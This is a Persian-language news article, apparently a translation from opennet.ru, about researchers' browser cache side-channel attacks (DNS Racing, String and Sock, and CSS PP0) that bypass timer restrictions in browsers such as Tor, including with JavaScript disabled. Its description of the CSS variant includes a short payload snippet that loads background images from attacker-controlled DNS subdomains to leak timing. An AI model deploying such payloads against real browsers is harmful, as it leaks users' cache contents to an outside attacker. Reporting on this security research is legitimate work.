حمله استخراج حافظه پنهان CPU در یک مرورگر وب بدون جاوا اسکریپت اجرا شد

تیمی از محققان از چندین دانشگاه آمریکایی، اسرائیلی و استرالیایی سه حمله را توسعه داده‌اند که بر روی مرورگرهای وب اجرا می‌شوند تا اطلاعات مربوط به محتویات حافظه پنهان پردازنده را استخراج کنند. یک روش در مرورگرهای بدون جاوا اسکریپت کار می کند و دو روش دیگر از روش های حفاظتی موجود در برابر حملات کانال جانبی، از جمله مواردی که در مرورگر Tor و DeterFox استفاده می شوند، عبور می کنند. کد برای نمایش حملات و همچنین اجزای سرور لازم برای حملات در GitHub منتشر شده است.

برای تجزیه و تحلیل محتویات کش، همه حملات از روش Prime+Probe استفاده می کنند که شامل پر کردن حافظه پنهان با مجموعه ای استاندارد از مقادیر و تشخیص تغییرات با اندازه گیری زمان دسترسی به آنها هنگام پر کردن مجدد است. برای دور زدن مکانیسم‌های امنیتی موجود در مرورگرها که با اندازه‌گیری دقیق زمان تداخل دارند، در دو گزینه، درخواست تجدیدنظر به سرور DNS یا WebSocket که توسط مهاجم کنترل می‌شود، انجام می‌شود که گزارشی از زمان درخواست‌های دریافتی را نگه می‌دارد. در یک تجسم، زمان پاسخ DNS ثابت به عنوان مرجع زمانی استفاده می شود.

اندازه‌گیری‌های انجام شده با استفاده از سرورهای DNS خارجی یا WebSocket، با استفاده از یک سیستم طبقه‌بندی مبتنی بر یادگیری ماشین، برای پیش‌بینی مقادیر با دقت تا 98 درصد در بهینه‌ترین سناریو (متوسط ​​80-90 درصد) کافی بود. روش های حمله بر روی پلتفرم های سخت افزاری مختلف (Intel، AMD Ryzen، Apple M1، Samsung Exynos) آزمایش شده اند و جهانی بودنشان ثابت شده است.

حمله استخراج حافظه پنهان CPU در یک مرورگر وب بدون جاوا اسکریپت اجرا شد

اولین نوع حمله DNS Racing از یک پیاده سازی کلاسیک از روش Prime+Probe با استفاده از آرایه های جاوا اسکریپت استفاده می کند. تفاوت ها به استفاده از یک تایمر مبتنی بر DNS خارجی و یک کنترل کننده یک خطا خلاصه می شود، که زمانی که تلاش برای بارگذاری تصویر از یک دامنه غیرموجود انجام می شود، فعال می شود. یک تایمر خارجی امکان حمله Prime+Probe را به مرورگرهایی که دسترسی به تایمرهای جاوا اسکریپت را محدود یا به طور کامل غیرفعال می کنند، می دهد.

برای یک سرور DNS واقع در همان شبکه اترنت، دقت تایمر تقریباً 2 میلی ثانیه تخمین زده می شود که برای انجام یک حمله کانال جانبی کافی است (برای مقایسه، دقت تایمر استاندارد جاوا اسکریپت در مرورگر Tor برابر است با به 100 میلی ثانیه کاهش یافت). برای حمله، کنترل سرور DNS مورد نیاز نیست، زیرا زمان اجرای عملیات به گونه‌ای انتخاب می‌شود که زمان پاسخ از DNS به عنوان نشانه‌ای از تکمیل زودتر بررسی باشد (بسته به اینکه کنترل کننده یک خطا فعال شده باشد یا خیر. زودتر یا دیرتر، در مورد سرعت عملیات بررسی با حافظه پنهان نتیجه گیری می شود).

روش حمله دوم، "String and Sock"، با هدف دور زدن تکنیک های امنیتی که استفاده سطح پایین از آرایه ها در جاوا اسکریپت را محدود می کند، است. String and Sock به جای آرایه ها از عملیات روی رشته های بسیار بزرگ استفاده می کند که اندازه آنها به گونه ای انتخاب می شود که متغیر کل کش LLC را پوشش دهد (حافظه پنهان آخرین سطح). در مرحله بعد، با استفاده از تابع indexOf() یک زیر رشته کوچک در رشته جستجو می شود که در ابتدا در رشته منبع وجود ندارد. عملیات جستجو منجر به تکرار در کل رشته می شود. از آنجایی که اندازه خط با اندازه کش LLC مطابقت دارد، اسکن به شما امکان می دهد تا یک عملیات بررسی کش را بدون دستکاری آرایه ها انجام دهید. برای اندازه گیری تاخیرها، به جای DNS، با یک سرور WebSocket که توسط مهاجم کنترل می شود تماس گرفته می شود - قبل و بعد از اتمام عملیات جستجو، پرس و جوها در خط ارسال می شوند که بر اساس آن سرور تاخیر مورد استفاده برای تجزیه و تحلیل حافظه پنهان را محاسبه می کند. فهرست.

نوع سوم حمله "CSS PP0" از طریق HTML و CSS پیاده سازی می شود و می تواند در مرورگرهایی با جاوا اسکریپت غیرفعال کار کند. این روش مشابه "String and Sock" است، اما به جاوا اسکریپت گره خورده نیست. در طول حمله، مجموعه ای از انتخابگرهای CSS تولید می شود که با ماسک جستجو می کنند. رشته بزرگ اولیه که کش را پر می کند با ایجاد یک تگ div با نام کلاس بسیار بزرگ تنظیم می شود. در داخل مجموعه ای از div های دیگر با شناسه های خود وجود دارد. هر یک از این div های تودرتو دارای سبک خاص خود با انتخابگر است که یک زیر رشته را جستجو می کند. هنگام رندر کردن یک صفحه، مرورگر ابتدا سعی می‌کند دیوی‌های داخلی را پردازش کند که منجر به عملیات جستجو در یک ردیف بزرگ می‌شود. جستجو با استفاده از یک ماسک به عمد گم شده انجام می‌شود و منجر به تکرار در کل خط می‌شود، پس از آن شرط "not" فعال می‌شود و تلاش می‌شود یک تصویر پس‌زمینه با ارجاع به دامنه‌های تصادفی بارگیری شود: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … ایکس ایکس ...

زیر دامنه ها توسط سرور DNS مهاجم ارائه می شوند که می تواند تاخیر در دریافت درخواست ها را اندازه گیری کند. سرور DNS NXDOMAIN را برای همه درخواست ها صادر می کند و گزارشی از زمان دقیق درخواست ها نگه می دارد. در نتیجه پردازش مجموعه‌ای از div‌ها، سرور DNS مهاجم یک سری درخواست‌ها را دریافت می‌کند که تأخیر بین آن‌ها با نتیجه بررسی محتوای کش مرتبط است.

حمله استخراج حافظه پنهان CPU در یک مرورگر وب بدون جاوا اسکریپت اجرا شد


منبع: opennet.ru

اضافه کردن نظر